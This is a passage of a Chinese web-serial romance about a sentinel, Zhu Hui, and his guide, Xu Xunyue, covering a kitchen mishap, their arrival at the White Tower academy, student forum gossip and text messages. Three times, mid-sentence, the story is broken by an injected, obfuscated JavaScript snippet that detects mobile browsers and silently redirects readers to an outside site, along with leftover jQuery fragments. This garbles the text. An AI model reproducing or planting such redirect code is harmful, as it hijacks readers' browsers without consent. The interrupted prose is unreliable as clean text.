他觉得,或许哥哥是乐意告诉自己的。 不问哪知道结果。 于是他斟酌了下措辞,很可怜地开了个头: “是几个同学说我才知道你也来了白塔的,还有人拿这个嘲讽我,说你是因为不想和我多待、对婚约表示不满,所以才早早出门自己来白塔……” 徐寻月:“……” 他能从雪狼的情绪里听出有人议论,这也说得过去,毕竟几年来,他“重伤未愈性格阴晴不定”的消息早就传遍了帝都的大街小巷。 但是,真有人敢这么跟祝回讲话吗? 对首席哨兵这个职位来说,祝回是有点年轻了,但祝回在哨兵学院是最高的年级,还有实实在在参军三年的经历,跟一直在白塔学习的学生相比,完全就是降维打击。 雪狼都说了,他们俩把那个人打了一顿。 徐寻月对祝回的可怜表示怀疑。 他说:“那我们以后都一起去白塔。” 18.哄骗 “咔嚓。”一声脆响。 两人的视线同时聚焦到声源处。 “……” 长久的沉默。 徐寻月没忍住,轻轻笑了一声,就很给面子地收敛了,没做任何点评。 但祝回表情僵硬,那股不好意思的劲已经无法挽回地溢了出来,脸、耳朵,连带着脖子都在冒烟,刚窜出来的兴奋和窃喜全都凝固住。 锅铲手柄被他捏断了。 “我……我平常不这样的。”他结结巴巴试图解释,“平常我力气都控制得很好,不会出现这种情况。哨兵每年的稳定系数测验我都通过了,今年的还是今天下午做的,评级是S。这次是、是……” “这次是意外?”徐寻月带着笑意问。 祝回面红耳赤:“嗯……绝对不会再犯了,绝对不会伤害到你的。” 徐寻月没多说什么,只是从柜子里拿了个新锅铲。 “我来吧,菜快糊了,你去切点葱,不要太急。” “好的好的。” 因为战绩过于离谱,祝回大脑直接宕机了,本来想问的事问不出口了,装可怜也装不下去,只好听话地去打下手。 表面看着老老实实,脑子里其实已经乱成了一团浆糊。 无法控制自己是刚觉醒的哨兵才会做的事,他怎么能犯这种低级错误?而且是当着哥哥的面。 哥哥还笑了…… 哥哥都笑了!! 虽然没说他,也不知道有没有在心里觉得他没用。 太没用了。 怎么能在结合向导面前力量失控呢? 现在能失控,以后怎么办?以后会和哥哥做更亲密的事吧? 几秒钟在心里过了几百个想法,祝回越想,越觉得自己在徐寻月心里失去了形象和可信度。 帝国也不是没有那种让人啼笑皆非又无奈叹息的新闻,每隔几年,都会有哨兵亲密时太过激动、不小心伤到结合向导的事故发生。 祝回一直认为,不论什么情况,因为控制不好自己就伤害到本该用生命去保护的人,是一件很可悲的事。 绝对不能让这种情况发生,哪怕……是因为喜欢哥哥。 小时候的念念不忘也好,徐寻月本身的光环和魅力也罢,又或者是源于本能的生理性喜欢,那种神秘的、下意识想要靠近的感觉。 仿佛他生来就会喜欢他一样,所以早早结缘,在成年后的第一次正式见面里就被吸引了。 祝回想,在哥哥面前他要表现得乖乖的。 哥哥肯定也喜欢这样。 之前接吻的时候乖乖的,哥哥就会亲他亲得凶一点。 祝回决定今晚就收拾东西,明天就去白塔上课,上课之余给自己额外增加训练量,在原本的基础上翻两倍,稳定自己面对刺激的下意识反应。 而且,明天去上课的话,也意味着从明天开始,他就可以天天和哥哥一起出门了。 以后天天一起到白塔,谁还敢说他和哥哥关系不好? 祝回对自己思路的跑偏一无所知,只是单纯地觉得这个主意非常不错。 倒是徐寻月有一搭没一搭地继续着对话。 他故意说:“后来那个人怎么样了?” “啊?哦、那个人……我和他切磋了一下。”祝回说完这句,心虚似的快速转移话题,道,“然后我就在试炼场做了各项身体检测,检测结果今晚应该能出来,明天我就可以继续上课了。” 徐寻月也没戳穿他,顺着说:“学院肯定不会卡你毕业,只不过这几个月你应该会比较忙……对了,我们个人终端加一下好友。” 原本是准备一来就解决这件事的,结果跟祝回说了几句话,差点给忘了。 祝回应了一声,反应很快地走到他身边,用戴着个人终端的左手碰了碰他的左手手腕。 “滴。”两个终端都响了一下。 这好友终于是加上了。 祝回对着自己终端列表里的那个账号看了一会,问:“没事的时候,我可以发信息给你吗?” “可以。不过我记得哨兵学院在课程方面的管理很严?上课的时候,最好不要给老师发信息。”徐寻月开了个小玩笑,“两个学院应该都传开了吧,知道我马上要入职。” “我知道,但你是向导学院的老师,抓不了我。”祝回用一本正经的语气开了个玩笑回去,“其他老师是不可能抓到我的。” “是吗?” 徐寻月对这番无法无天的言论不置可否,只是表扬了一句: “那祝回同学很厉害了。” 祝回:“……” 怎么有点不对劲,那种被盯上的危机感又出现了。之前被哥哥抱在怀里的时候,被哥哥按着后颈亲的时候,都有过类似的感觉。 他喉结不自觉滑了两下,又挪了挪自己脚的位置,不是想躲到哪去,只是在原地换了几个站姿。 哥哥这句话好像还有别的含义。 难道白塔可以跨学院管理吗? 算了,如果被哥哥抓到哥哥要罚他,他也是很乐意的。 到时候,哥哥会怎么罚他呢? …… 不能想。 祝回感觉自己热度本就没消下去的脸又开始发烫了。 他摇了摇头,低咳一声,转眼又是一副乖乖学生的样子。 “我会好好上课的,下了课我给你发信息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337540|167219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报备好不好?” 报备? 徐寻月听出来了,祝回这是在暗示他。 这家伙一直惦记着自己今天比同学后知道消息的事呢。 “好。” 徐寻月想了想,还是没装作听不出来,他选择对哨兵顺毛摸,连话都是照着祝回之前装可怜的说辞说的。 “今天是我欠考虑了,以后不会。你以后上学坐我的车,我去别的地方会告诉你。”平常这样也没什么。 至于和计划有关的事,再观望一下。 祝回大概是没问题的,但他得确定有没有人盯着祝回。 而且,他也没想好要不要把祝回牵扯进来。 把对方牵扯进来利大于弊,无论是从战斗力方面,还是在帝国年轻哨兵一代的凝聚力方面。但这是一条未知的路,更深层次的东西连他都没挖掘清楚,牵扯进来,失败了怎么办。 祝回才二十岁,还没从哨兵学院毕业,他自己二十岁的时候意气风发,祝回也该有明媚无虞的未来才对。 【……好想亲。】 “?” 徐寻月正在心里做着打算,冷不丁听到这么一句,差点直接朝祝回看过去。 但他在有动作之前停住了,因为反应过来那是祝回一股难得浓烈的情绪,而祝回本人并没有说话。 徐寻月目不斜视,集中注意力继续听。 很快,他就听到了另一个声音。 这两种声音好像在祝回脑子里打架。 一种是狂风过境般的高兴,叫“好想亲”。 另一种是恨铁不成钢的懊恼,叫“可是我刚刚把锅铲捏断了”。 徐寻月忍笑忍得辛苦。 他悄无声息地伸出自己的精神触角,悄无声息地链接上正在头脑风暴的哨兵,在对方思维的最外层轻轻拨了一下。 然后说:“想亲我?” 祝回愣住了。 半晌,他有些迟疑地道:“我……不小心说出来了吗?” “嗯,”徐寻月勾唇,“你觉得呢?” 祝回总觉得哪里奇怪,又说不出哪里奇怪。他艰难思考半秒,决定放弃思考,遵循自己内心最真实的想法。 “那我可以亲吗?” 徐寻月笑着侧了侧脸。 或许是仍有点不在状态,祝回只晕晕乎乎地亲了他右脸。 是那种简简单单、朴素又纯洁的亲法,仅仅用唇贴一贴就离开了。 徐寻月挑了挑眉,又往左边侧了一下。 祝回下意识绕到另一边,又亲了一下。 小鸡啄米似的。 徐寻月干脆把火关了,单手握住哨兵后颈,将人压了下来。 19.看呆 次日清晨。 去向导学院上课的第一天,徐寻月特意准备了下自己的着装。 虽然外面天寒地冻,但这么多年,人类的身体素质一直都在进化,而向导和哨兵的体质则是在原本的基础上更上一层楼,理论上其实不需要裹多厚。 之前披那件毛茸茸的大衣,主要是为了给自己添几分病气。 徐寻月思考半晌,把大衣换成比较抗风的银灰色长风衣,内搭浅蓝衬衫,又挑了件黑色西裤,向导专用手套戴好,算是半正式半休闲的风格。 对着全身镜照了照,感觉没什么问题,是不会被夏风院长念叨的类型,他出了门。 路过书房即将下楼的时候,徐寻月停顿了一下,还是走了进去。 书房窗户向来不拉窗帘,今天天气不错,清晨的微光便透过窗户照进来,打在墙壁和书桌上,也照亮了桌上那本微微泛黄的旧书。 这是前天夜里,祝回到来之前,徐寻月坐在书房里看的那本书。 祝回在精神世界送了他一片记忆树叶,那天晚上出来之后,他就把叶子夹在书里了。 伴随着书页翻动的沙沙声,书本被打开,那片树叶果然安安分分地躺在纸张之间。 它依旧鲜嫩欲滴,没有半点萎靡的样子,反而因为被夹在书里,显得更加平整妥帖了。 徐寻月捏着叶子的梗,将它拎出来看了一会,叹了口气,又有些想笑。 最后,他什么都没做,只是把叶子放到口袋里去,再把书收拾好摆上书架。 下到一楼的时候,祝回已经在厨房了,看样子也是刚起。 昨晚徐寻月特地和他说了,既然要开始去学院上课,就更不准早起两小时做早餐。 祝回发出抗议,称自己这次应该只需要一个小时,以后熟练了就是四十分钟、半个小时、二十分钟……还用那双琥珀色眼睛可怜巴巴地看着徐寻月,说,总得让我为你做点什么吧? ……好吧。 撇开祝回昨天不小心把锅铲捏断的意外不谈,他的稳定性还是很可观的,在厨房不会帮倒忙反推进度条。 所以,关于早餐的最终讨论结果,就是两个人都正常时间起床、一起做饭。 之前独居,徐寻月差不多也是这个点睡醒。他没有大清早请厨师进屋的习惯,一般都是随便做点简单的应付,甚至就温水吃干粮,没食欲更是直接算了。 但现在,是两个人一起住。 有些东西确实已经改变了。 这种改变在被提出时或许会被认为不必要,可当人真正身处其中的时候,又会觉得其实很好。 想到这,徐寻月看向厨房里的另一个人。 他发现对方好像在看着自己发呆。 几秒间,倒是雪狼凭空显出身形,往他这边走了两步。 走了两步,快要碰到他鞋尖了,却又别别扭扭地折返回去,张嘴咬住哨兵裤脚轻轻往前扯。 【怎么不过来?你向导今天好好看诶。】 【你不想亲他吗?】 【你就是很想亲他!为什么不动啊死脚!】 徐寻月:“……” 因为是去上学,还是在军部待了三年后复学的第一天,祝回今天穿得很规矩也很正式。一身哨兵学院最高年级的黑色制服将人衬得身材矫健,什么高帮军靴、半指作战手套、方便挂匕首和弹夹的作战腰带……等等等等一应俱全。 很帅,是那种锋芒四射的帅。 看着就像校园恋爱小说里成绩拔尖受人追捧的高冷哨兵。 徐寻月把人从头到脚欣赏了一遍,发现祝回和校园恋爱小说主角的唯一区别大概只有神情。 祝回呆呆的,一点都不高冷。 他盯着徐寻月看,看着看着,脸还红了。 徐寻月很坏地开始逗人。 “怎么了?” “……” 祝回连眨了好几下眼,感受到脸上的燥意,视线有点想往边上瞟。 但又舍不得,只好假装很忙地把刚刚自作主张跑出来捣乱的精神体收回精神图景,清了清嗓子,说: “你太好看了。” “你也是,”继续逗,“但我之前不好看吗?” “不是,一直都好看,但今天的风格不太一样,”祝回红着脸解释,“一直都特别好看。” 徐寻月点点头,终于把人放过了似的从祝回边上路过,一副刚刚是随口一问、现在要开始做正事的正经模样。 …… 祝回看了他一眼,偏过头。 过了两秒,又看了他一眼。 徐寻月却完全没看他,好像注意力全都聚焦在早餐上。 祝回后悔,祝回悄悄走过去。 表面心无旁骛的徐寻月被哨兵以迅雷不及掩耳之势啾了一下。 出门的时候,他们又测了一次匹配度。 69.27%了。 *** 两个小时后,白塔。 早在昨天,白塔的两所学院就迎来了重磅消息,但亲眼见到的人终究是少数;而今天,则是传闻可能被验证的一天。 正因如此,大门口的人也比平常要多上一些。 在千篇一律的校园生活中,八卦是最受学生追捧的调味剂。在灾变后这种压抑到有些极端的时代、在环境相对封闭单纯的白塔,任何一点色彩不同的动静,都能掀起一大片风浪。 哨兵学院管理严格——其实主要是惩罚机制比较严格,毕竟刚觉醒的低年级哨兵容易暴动,需要管教;向导学院的情况要好一些,但也没不是特别宽松。然而,总有一些人能找到合适的理由在门口逗留。 向导学院最高年级1班的班长,于圆,就是其中之一。 她长相颇为乖巧,脖子上挂了个纪保部的牌子,看着就是个老实的学生干部。 当然,只是看着。 实际上,她行事风格懒散随意,和1班班主任是一脉相承的不按常理出牌。 她也听说了昨天的传闻。 如果打探到的消息没错,那位帝国的上一任首席向导,应该会教她所在的1班。 于圆知道不少有关徐寻月的故事,八年过去,许多长期在白塔任教的老师举例时仍然会提到这个人。 什么除去精神疏导实践课其他功课门门第一,什么体能恐怖突破向导极限、什么求学路上灾变爆发但活着走入白塔…… 八年前,徐寻月以军功第一、优秀毕业生的身份从向导学院毕业,据说一天都没休息,就正式组建小队奔赴各大灾变区边缘和待规划区。那时候的世界比现在还要混乱,灾变区界线变动频发,人们应对灾变体和灾变因子的技巧技术也不是很完善,他却能在那个时期脱颖而出。 向导学院现任院长夏风曾经是他的老师。院长并不是健谈的性格,每每开设讲座、无意间说到徐寻月的时候,话却比平常要多。 甚至她的班主任,一位在她心目中已经非常强大的向导,也多次在授课时提及,说自己比徐寻月低两届,所以见过他在试炼场的表现,也有幸被指导过与精神干扰相关的课题。 之前,于圆只能通过道听途说了解这位高级向导,知道的还都是好几年前的事,如今却有了全新的机会。 即便这个人在三年前因一场外派任务受到了打击,外界从此众说纷纭,徐寻月也是她非常想见识的人物。 对了,听说祝回也有可能来。不过可能是今天,也可能是明天,一周后来也说不定。 以祝回的军功,行政老师闭着眼睛给他算都能加到爆,上课这种事无足轻重。虽然临近毕业得上点课意思意思,但都是在军队呆过的哨兵了,肯定对学院生活不感兴趣。 毕竟…… 哪个学生喜欢上课啊?! 于圆拽了拽自己脖子上的纪保部牌子,刚抬眼,就发现了在学院景观林旁拿着扫帚装值日生的易程礼。 两个分别在各自学院当了好几年老大(易程礼存疑)的人对视一眼,默契地移开视线。 这么一看,于圆就想起昨天下午,易程礼被祝回暴打一顿的传闻。 虽然易程礼后来出来“辟谣”,但现在用向导能力一观察,这人周围的精神场都有点不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15349285|167219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对,说明传闻肯定是真的。 真可怜,也不知道为什么被打,估计要几天才能恢复。 于圆眼中闪过一抹看热闹不嫌事大的悠哉。 易程礼估计是来蹲祝回的,祝回要是今天就来上课,两个人在门口撞上会怎么样? 易少爷三年前就打不过祝回,三年过去,差距只会变大。 到时候能不能看见一场全方位碾压的精彩战斗呢? 想着想着,一旁和她一起来的同学用胳膊怼了怼她,压着嗓子道:“哎哎,你说祝回会和徐老师一起来吗?” 于圆沉思半秒。 “不会吧,昨天不就没一起。” “但为什么这个点还没来到?” “现在还没到上课时间。”于圆一脸淡定,“再等等呗。” “咳咳,圆圆,我觉得,不是谁都和你一样喜欢卡点……” “你看那边,”于圆打断了同伴的碎碎念,朝前面抬抬下巴,语气竟有些难得的不确定,“那边——是不是?” 同伴的声音戛然而止。 同一时刻,周围嗡嗡作响的私语声都消失了,门口安静得有些可怕。 不论之前如何叽叽歪歪八卦议论,帝国唯一的攻击型向导、曾在灾变区有过那么多功绩的军官,终究是让他们敬仰的。 只见一辆车不紧不慢地朝门口驶来。 车玻璃全方位无死角防窥,看不见里面什么情况。 车到门口了。 车开过去了。 …… 门口依然安静。 半晌,于圆看着视野中逐渐变小的车身说:“我记得,昨天徐老师的车就是这辆。” “是、是吧。” *** 徐寻月当然察觉到了那种不太寻常的安静。 他粗略地扫了一眼,就发现了好些穿着哨兵学院制服和向导学院制服的年轻学生。 这些人扫地的扫地,站岗的站岗,检查着装的检查着装,但有一个共同点——都在若无其事地往他车这边瞄。 徐寻月哭笑不得。 不过,从决定来向导学院的那天起,这种情况就在意料之中了。 他只是多看了眼身穿向导学院制服的几撮人,想着待会知道哪些是他的学生,可以顺便关照一下。 白塔是一座巨大无比的高塔,说是塔,其实更像一方自成体系的小天地,一般的交通工具是可以在其中行驶的,两个学院也没有颁布什么禁止行车的规定。 驶入大门,才开了一会,面前就出现了四条通道。 徐寻月很清楚这四条道分别通向什么。从左边数的第一和第三条分别通向哨兵学院主要场地和向导学院主要场地,第四条通向白塔研究所,第二条则通往哨兵学院和向导学院的一些公用设施,比如食堂、休闲区、公共操场、试炼场什么的。 这些基础设施其实在两个学院内部也各有设立,第二通道的存在主要是为了联谊。公共嘛,就是向导和哨兵会同时出现的地方,帝国公民深信寻找伴侣要从学生时代抓起。 听上去有些大张旗鼓,但实际作用不错。 车接近岔路口的时候,祝回坐直上半身,抬手按向车上的安全装置开关。 此时,安全装置开关处于启动状态,车上的人没法打开车门。 徐寻月余光捕捉到他的动作,也没转头,眼睛盯着前车玻璃,语气很平常地说:“现在不下车。” 祝回动作一顿。 他看向徐寻月,很快就懂了这话的意思。 正因为懂了徐寻月的意思,他耳朵又红了起来。 他低声说:“这样是不是……太好了?” 徐寻月已经开始打方向盘了,闻言笑了一下: “我以为你要说‘这样是不是不太好’。” 不是说被同学嘲笑了吗? 虽然大概是装可怜。 但这样,总不会再有人不识好歹了吧。 于是,在一众呆滞的视线当中,那辆承载着新鲜八卦的车在路口一拐,驶入了通往哨兵学院的第一条道。 20.亲属 大新闻! 惊天大新闻! 曾经哨兵学院的第一名、今年新出炉的首席哨兵,进入军部三年,归来上课第一天被某不知名车辆直接送到教学楼下! 据知情人士透露,此人下车时嘴巴还水润润的,看上去非常可疑! 只可惜当时上课铃响了,哨兵学院的惩罚制度又相当严格,即便是找到借口吃瓜的学生们,也难以继续外面逗留。 他们只好利用课堂时间,冒着被老师抓包的风险,在个人终端上和好友疯狂对话,在学院论坛上疯狂输出。 向导学院那边呢,情报要少一点,但八卦向来是流通的,不少向导还混入了哨兵学院的匿名论坛,两方人可以说是在早上第一节课聊得火热,很快就有几个被任课老师当场抓包。 作为当事人之一,祝回坐在教室最后一排靠窗的位置,面不改色地打开了学院论坛。 如果他的耳朵不红的话,这种“波澜不惊”可能会显得更真实一点。 飘在最上面的几个最新贴和hot贴都是同一个话题,他随便点进一个hot贴。 标题:【你们知道九教楼下刚刚发生了什么吗?】 1L:是这样的,楼主是一名平平无奇的高年级哨兵,这天正睡眼惺忪地坐在靠窗座位上眺望远方,等待第一节课上课铃的吟唱。就在这个时候,听觉敏锐的我忽然听到楼下有一些往日没有的动静,于是我探头一看, 2L:? 3L:所以看到了什么? 4L:说话说一半的我永远不会放过你们…… 5L:我也是九教的,不过之前在上楼梯,现在坐到座位上了。外面好像没什么特别的东西啊? 6L:你们怎么都没看到?我来说!楼下刚刚是祝回,楼主听到的动静应该是车的声音,那辆车没见过,反正不是我们学院老师的车。祝回下车之后就进九教了,车里还有谁不知道。 7L:这个我在门口看见了,是徐……呃徐老师的车,就是前一任首席向导的车,你们懂吧? 8L:??? 9L:差点以为学院论坛出故障了。 10L:所以7L的意思是,祝回今天坐……他的车来上课的?还被送到教学楼下了? 11L:不能吧,昨天不是还说感情不好嘛? 12L:可是眼见为实啊,哪个哨兵能有这待遇,还给送到楼下……想想有点羡慕了。 嗯嗯,就是这样,说得很好。 祝回看得那叫一个心情愉悦,一边继续往下翻,一边在心里认同着。 …… 31L:总之我觉得他们俩关系不像演的,楼上阴谋论有点过了,又没有什么政治斗争,何必演给我们看嘛真的是。 32L:哨兵和向导之间的关系本来就很难演啊,别听楼上胡说八道,感情是一方面,生理性喜欢扛不住的,同理,生理性厌恶也掩盖不了好吧? 33L:来了来了我是楼主,你们怎么发信息这么快。主楼信息没发完是因为反应过来祝回被分到我们班,他刚刚进教室坐我后面了,吓我一 34L:? 35L:? 36L:那这次呢楼主? 37L:这次是因为在论坛发帖八卦还自爆坐标所以被教训了吗? 这时,一丝不太对劲的空气从指尖流过,祝回迅速关闭个人终端,用时0.001秒。 他面无表情地撩了撩眼皮。 “看看,又是一个上课玩终端的!你们今天怎么回事?这么躁动。” 此时此刻,一位衣着发型略显古板的哨兵老师已经走到了他的面前——他前一排座位的旁边。 这是哨兵老师抓到的第二个学生了,显然,他的怒火已经升级。 “讲战斗理论你不听,看来是觉得自己掌握得很好了?又不是低年级的学生,还可以在白塔嘻嘻哈哈,你还有几个月就要毕业了!毕业去外边拿什么跟灾变体打?用你的个人终端砸吗?还是已经找好帝都护卫队的工作了?” 被抓到的哨兵鹌鹑似的低着头,瑟瑟发抖不敢说话,只可惜不说话也无法降低老师的怒气值。 老师使出了他的大招: “看不上理论课是吧?你们几个上课玩个人终端的,下了课跟我去试炼场练练!” “……是。” 发帖楼主面如死灰。 祝回一点都不紧张,他看了眼哨兵老师就低下头,开始在心里盘算中午该怎么找徐寻月的事。 唉。 现在就想给哥哥发信息。 但昨天已经跟哥哥保证要好好上课了。 哥哥昨晚还看了他的课表。 再忍忍。 *** 另一边,向导学院。 学院分配给学生和教师的资源都很丰富,空间自然也十分充裕。办公室在一栋专门的办公楼里,一人一间,每层楼还会另外设置商讨区和会议室,供教师讨论教学方案和各项课程考察内容。 徐寻月到学院先和夏风院长打了个招呼,之后就抵达了自己在七楼的办公室。 他先是用精神力将整个房间扫了一遍,确定没有摄像头监听设备之类的东西,这才把门完全关上。 进门的左手边是简易厨房和饮水机,右手边则是一棵耐寒盆栽,再远一点的视线中央有一张硬质红木办公桌,还配了连接学院核心系统的新型计算机和两把同样木质的大椅子。 办公桌左侧是一张靠墙的双人沙发,足够宽敞,是人在上面能睡得比较舒服的类型,右侧有一面墙的柜子,用来放书籍文件仪器等。 再远一点,就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352192|167219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一扇巨大的落地窗,学院办公楼使用的都是新型单向玻璃,既能保证隐私,同时也不会挡光。神经紧绷的时候,也很适合站在这里看看楼下的风景和来往的学生。房间最里面还有一扇小门,里边简单摆了张小床,还有几件床头柜、衣帽架之类的东西。 以上所有器具都是新的,夏风院长说,这是特地给他挑的一间闲置办公室,以前没人用过。 把精神体放出来擦地,徐寻月开始整理自己从夏风那拿来的文件和名单。 大概是对徐寻月愿意出门感到欣慰的缘故,夏风院长很体谅他,只给他安排了毕业年级1班的精神干扰实战课。不过因为是毕业班,过几个月就要离开白塔出去参军工作,课程会排得比低年级稍微密一些。 徐寻月的第一节课在一个小时之后,向导学院第二教学楼。 正当他浏览1班向导名单的时候,办公楼下忽然传来一阵发动机轰鸣声。 循着声音走近落地窗朝下看,一个半长发披散、身穿牛仔夹克的青年骑着辆旧时代的改装摩托停在楼下。 同为长发,徐寻月的低马尾就比较显优雅,让人觉得成熟稳重,这位看上去却可以说是相当不驯了,隐隐有几分上个纪元不良青年的风格。 青年长腿蹬地,从摩托上跨了下来,却没有直接停车走人。 恰恰相反,他歪在自己的改装摩托旁,点了根细细的烟。 白色的烟雾在空中弥漫开来,不知有意还是无意,居然在上升散去的过程中形成了许许多多形状各异的烟圈。 有些稀罕。 但终究还是散去了。 白烟很快被空气稀释,如墨水融入大海般无影无踪。 这是向导学院毕业班1班的班主任。 也是祝回记忆里,那个死去的娃娃脸许彦安的亲哥哥。 许孟微。 真巧,徐寻月想,他要认识的人来了。 许孟微在楼下抽了三支烟,抽完,就干脆利落进入了办公楼。 徐寻月倒是不急,还站在落地窗边多看了会风景。 都是1班的老师,总会有交集的。说不定许孟微还会主动找他,毕竟祝回以前是许彦安的队长,现在是他的哨兵。 今天天气不错,连下好几天的雪终于停了,整个向导学院都浸泡在暖阳之中,朝东边远眺,隐约还能望见哨兵学院建筑的影子。 “叮铃铃铃铃——” 第一节课的下课铃声响起。 几乎是同一时刻,徐寻月的终端屏幕骤然一亮。 设置了特别提醒的信息弹窗开始疯狂闪现。 【[亲属·祝回]给您发来1条信息。】 【[亲属·祝回]给您发来2条信息。】 …… 【[亲属·祝回]给您发来7条信息。】 21.报备 昨天加好友的时候,祝回的头像还是系统默认图片,现在却换成了雪狼大头照。 头像图片右下角伸出一截冷白的手腕,手背脉络青筋分明,五指牢牢握着雪狼的嘴筒子,拍照当时应该是在把它往镜头方向掰。 雪狼的表情——姑且将那称之为表情吧,它的表情有些扭曲,介于满脸问号和震惊无奈之间,琥珀色眼睛瞪得圆圆的。 也不知道祝回是想把精神体拍得威风一点,还是拍得可爱一点。 似乎是注意到徐寻月的分心,正在打扫卫生的阴影从地上飘起几缕,对着终端屏幕端详半晌。 【我知道了。】 【我也知道了。】 【小狼肯定不喜欢拍照。】 【对,应该是这个哨兵强迫它拍的。】 【肯定是的,快管管你的哨兵,让他拍自己的照片给你看好了。】 【就是,让他拍自己的。】 徐寻月全当没听见。 感觉祝回不是那种会拿自拍当头像的风格,用精神体可能就已经有些难为他了。 至于为什么要拿精神体做头像? 可能是因为精神体既能代表本人,又比较可爱吧。 徐寻月开始查看祝回发来的信息。 【祝回:我下课啦。】 【祝回:教室图片.jpg】 【祝回:这是我上课做的笔记。】 【祝回:笔记图片.jpg】 【祝回:上完上午的课我可以去办公楼找你嘛?】 【祝回:第一节课有好多人都在论坛上说我们的事,光班上就被抓了三个开小差的,不过我肯定没有。】 【祝回:谢谢哥哥送我到楼下!】 【[亲属·祝回]撤销一条信息。】 【祝回:谢谢你送我到楼下[小狼飞机耳.jpg]】 托特别提示的福,徐寻月查看得尤其及时,点进聊天框,正好看到最后一条信息撤销再重发的过程。 ……又是“哥哥”? 徐寻月想起自己进祝回精神图景时听过的这个称呼,他还记得祝回那抹情绪的样子。 【……会是哥哥吗?】 当时是个问句,徐寻月以为是祝回认错人了。 他没有对祝回少年时期或者更小一些时候的记忆,而灾变之后寻找亲友的事又随处可见。就连徐寻月自己,也曾在待规划区得到过某些有几分像家人的幸存者的消息,经过验证发现都不是。 祝回后来没跟他提和“哥哥”有关的事,徐寻月就只当是乌龙。 反正“哥哥”是谁不重要、这个人是否真正存在也无所谓,祝回对他的生理性喜欢做不了假,心思系在哪更是十分明显。 这么笃定,很大一部分原因是他对祝回的生理性喜欢也很强。是和初始匹配度完全不符的强烈,有点那种传说中“看到人就想亲近”的程度。 但这次情况不同,祝回直接在聊天里发了个“哥哥”出来。 不是问句,是陈述句。 祝回可没当他的面这么喊过。 发了还撤销,更像心里有鬼。 所以,不是什么为了撒娇而喊的亲昵称呼,而是真的认为他就是那个“哥哥”。 十有八九还是在心里叫过太多次,这次手快,一不小心就发出来了。 难道他们以前真的见过?奉山A2区…… 见过的话,祝回为什么不说? 看着发完表情包之后再没动静的对话框,徐寻月靠在落地窗边,故意等了两分钟才回信息。 【徐寻月:可以,但那时候我应该在向导学院二教。】 【徐寻月:你下课可以在第一通道或者第二通道等一会,中午先带你去申请亲属通行卡,以后就能自己来了。】 【徐寻月:不用谢,好好上课[摸摸狼耳朵.jpg]】 完全是正常且耐心的答复。 对面哨兵大概也松了口气,秒回: 【祝回:嗯嗯知道!】 【祝回:我会等你消息的[小狼亲亲.jpg]】 还在卖乖。 徐寻月发了个可爱表情过去,心想那就等几个小时再问祝回好了。 面对面说话可没办法撤销信息。 另外,祝回是怎么知道同学上课在玩论坛的? 应该自己也是玩了,只是没被抓到。 上课玩终端、装乖、偷偷喊他哥哥…… 徐寻月想了想,觉得这些都是他欺负人的好理由。 在有关匹配度的历史研究中,每个整十数都是一个巨大的门槛,也是许多三级结合向导哨兵终生的遗憾,和祝回的匹配度快70%了,徐寻月也思考过他们会不会卡在70%这条线上。 能靠亲吻加这么多已经很不科学了,直觉告诉他,匹配度要是想再往上走,应该不会像之前那样简单。 要么止步于某个数值,要么就得变换途径——感情层面的途径,或者身体层面的途径。 可以说是很有研究价值了。 这时,擦完地的阴影围上来,嚷嚷着要看小狼照片,徐寻月毫不留情地使唤它们去擦墙,说擦干净了才能看。 阴影骂骂咧咧地钻入墙面。 徐寻月继续想要怎么欺负……不对、应该是要怎么提高匹配度。 在大部分向导与大部分哨兵之间的匹配度都能达到60%以上的时代里,选择结合的两个人匹配度就算不高,也基本有个70%往上。这是因为部分精神活动在匹配度上有硬性要求,而70%就是这样的一个分水岭。 祝回是不在意,婚前没去过精神疏导室、婚后也没表露过这方面的刚需——以接吻为例,徐寻月感觉祝回亲他完全不带目的,就是单纯想亲,匹配度只是顺带测测,跟小孩打游戏完了看战绩一个原理——但那是祝回的想法。 对徐寻月来说,既然决定把人留在身边,他还是希望自己和祝回的匹配度能上70%。上了70%,他对祝回的感应和掌控就会得到质的飞跃;祝回精神图景受伤,他也能更好地清理治疗。 …… 在阴影把房间打扫完之后,徐寻月履行了自己的承诺。 他把祝回的头像图片保存在个人终端里,放大三倍锁定屏幕,而后将终端摘下来暂时丢给精神体。 阴影欢呼着扑上去把终端淹没了,徐寻月则算着时间准备写点教案。 按照夏风院长的意思,像精神干扰这种偏向实践的课程,对攻击型向导而言是再基础不过的手段,其实可以不写教案。但这毕竟是院长老师对得意门生的关怀,他决定意思意思。 无论目的是攻击还是保护,向导的手段只对拥有精神力的生物起作用,这些对象的精神力越庞大、越不稳定,就越容易被向导干扰。 